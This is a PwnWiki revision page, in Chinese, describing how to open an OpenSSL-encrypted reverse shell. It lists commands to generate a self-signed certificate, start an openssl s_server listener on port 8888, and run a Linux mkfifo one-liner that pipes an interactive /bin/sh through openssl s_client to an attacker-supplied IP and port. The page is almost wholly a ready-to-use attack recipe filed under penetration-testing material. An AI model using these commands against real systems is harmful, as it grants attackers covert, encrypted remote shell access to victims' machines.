Difference between revisions of "使用OpenSsl加密反彈shell"

From PwnWiki
(Created page with "<languages /> <translate> ==生成自簽名證書== </translate> <pre> openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes </pre> <translate>...")
 
Line 24: Line 24:
  
  
[[Categories:滲透測試資料]]
+
[[Category:滲透測試資料]]

Revision as of 17:41, 16 March 2021

Other languages:
Chinese • ‎English • ‎中文(台灣)‎ • ‎中文(简体)‎

生成自簽名證書

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

服務端監聽8888端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

Linux下使用mkfifo進行反彈shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s